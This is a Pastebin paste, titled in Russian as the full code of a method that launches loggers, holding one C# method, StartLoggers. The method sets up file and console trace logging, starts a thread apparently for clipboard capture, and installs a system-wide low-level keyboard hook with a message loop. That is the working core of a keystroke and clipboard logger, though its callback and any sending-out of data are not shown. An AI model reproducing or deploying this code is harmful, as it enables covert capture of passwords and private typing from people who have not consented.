HackcatDev

Полный код метода запуска логгеров

Mar 7th, 2019
1,515
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. public static void StartLoggers(string[] args)
  2.         {
  3.             try
  4.             {
  5.                 Trace.Listeners.Clear();
  6.                 TextWriterTraceListener twtl = new TextWriterTraceListener(Program.logName);
  7.                 twtl.Name = "TextLogger";
  8.                 twtl.TraceOutputOptions = TraceOptions.ThreadId | TraceOptions.DateTime;
  9.  
  10.                 ConsoleTraceListener ctl = new ConsoleTraceListener(false);
  11.                 ctl.TraceOutputOptions = TraceOptions.DateTime;
  12.  
  13.                 Trace.Listeners.Add(twtl);
  14.                 Trace.Listeners.Add(ctl);
  15.                 Trace.AutoFlush = true;
  16.  
  17.                 ThreadStart clipboardThreadStart = new ThreadStart(BootClipboard);
  18.                 Thread clipboardThread = new Thread(clipboardThreadStart);
  19.                 clipboardThread.Start();
  20.                 HookProc callback = CallbackFunction;
  21.                 var module = Process.GetCurrentProcess().MainModule.ModuleName;
  22.                 var moduleHandle = GetModuleHandle(module);
  23.                 var hook = SetWindowsHookEx(HookType.WH_KEYBOARD_LL, callback, moduleHandle, 0);
  24.  
  25.                 while (true)
  26.                 {
  27.                     PeekMessage(IntPtr.Zero, IntPtr.Zero, 0x100, 0x109, 0);
  28.                     System.Threading.Thread.Sleep(5);
  29.                 }
  30.             }
  31.             catch (Exception ex)
  32.             {
  33.                 Console.WriteLine("[ERROR] Exception: {0}", ex);
  34.             }
  35.         }
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×